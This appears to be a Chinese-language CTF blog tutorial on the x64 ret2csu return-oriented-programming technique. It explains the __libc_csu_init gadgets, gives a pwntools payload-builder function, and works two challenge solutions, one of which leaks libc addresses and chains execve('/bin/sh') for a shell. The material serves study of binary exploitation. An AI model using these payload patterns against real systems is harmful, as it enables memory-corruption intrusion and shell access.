ROP-Ret2csu详解
利用原理
当在x64环境下函数的参数传递凑不齐类似“pop rdi;ret”/“pop rsi;ret”/“pop rdx;ret”等3个传参的gadgets时,就可以考虑使用_libc_csu_init函数的通用gatgets。
x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。
(不同版本的这个函数有一定的区别)
简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)
第一段gadgets
根据环境的不同 r13\r14\r15的顺序也有可能不同
1 | .text:000000000040075A pop rbx #需置为0,为配合第二段代码的call指令寻址 |
第二段gadgets
1 | .text:0000000000400740 mov rdx, r13 |
这两段代码运行后,会将栈顶指针移动56字节
所以一般要在后面加上56个字节的数据才可以连接到到ret位置进行跳转
流程示意图
利用思路
- 当在x64程序中找不到rdx、rsi、edi时,再使用此方法
- 确定gadget1、gadget2的地址及顺序
- 正序 -
r15->r14->r13->r12
1
2
3.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d - 逆序 -
r13->r14->r15->r12
1
2
3.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
- 正序 -
- 构造初步ret2csu payload函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20def ret2csu(padding, rbx, rbp, r12, r13, r14, r15, sign, ret_addr):
payload = padding
payload+= p64(gadgets1) #gadget1
payload += 'b'*8
payload+= p64(rbx) #rbx
payload+= p64(rbp) #rbp
payload+= p64(r12) #r12 - 要使用的函数
if sign == 'asc': #正序
payload+= p64(r13) # rdx - 参数1
payload+= p64(r14) # rsi - 参数2
payload+= p64(r15) # edi - 参数3
elif sign == 'desc': #逆序
payload+= p64(r15) # rdi - 参数3
payload+= p64(r14) # rsi - 参数2
payload+= p64(r13) # rdx - 参数1
payload+= p64(gadgets2) #gadget2
payload += 'c' * 0x38 #抬高7*8个字节
payload += p64(ret_addr) #及返回地址
r.sendline(payload)
例题
easy_csu[init_array_start]
思路
- 通过IDA得出,只要可以运行
vul
函数就算是完成了
- checksec看到程序是64位的,并且在程序中找不到rdx、rsi、edi时
- 利用_libc_csu_init函数中的两个代码片段来实现这三个参数的传递
- 确定gadget1、gadget2的地址
- 由于程序中vul函数并未执行过,而call函数的用法是跳转到某地址内所保存的地址,但此时的vul地址内并没有真实地址,所以这里要考虑绕过call这个调用,直接通过retn跳转至vul处(真实地址)
- 这里通过init_array_start函数的指针来跳过call
init_array_start
函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择 - 构造payload进行溢出,返回结果直接到vul函数的上
1
2
3
4
5
6
7
8
9
10payload = offset*'a'
payload += p64(gadget1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(init_array)
payload += p64(3) + p64(3) + p64(3)
payload += p64(gadget2)
payload += 'c'*0x38
payload += p64(elf.symbols["vul"])
EXP
1 | #-*- coding:utf-8 |
Level5[write\read\execve,三次溢出]
思路
确定csu函数中r13、r14、r15的顺序
参数 正序即可
利用csu_gadgets泄露write函数的真实地址,并返回至主函数
- 在通用gadgets中以write函数来泄露write函数的真实地址
csu(write_got, 1, write_got, 8, main_addr)
- 在通用gadgets中以write函数来泄露write函数的真实地址
利用wirte函数的真实地址来计算system函数的地址(或execve函数)
1
2
3write_addr = u64(sh.recv(8))
base_addr = write_addr - libc.symbols['write']
execve_addr = base_addr+ libc.symbols['execve']再次利用csu_gadgets将execve函数的地址及‘/bin/sh’写入到程序bss段
1
csu(read_addr,0,bss_addr,16,main_addr)
再次利用csu_gadgets执行bss段内容
即(execve函数地址+‘/bin/sh’)
1
csu(bss_base,bss_base + 8,0,0,main_addr)
EXP
1 | # #coding:utf-8 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 偏有宸机!
评论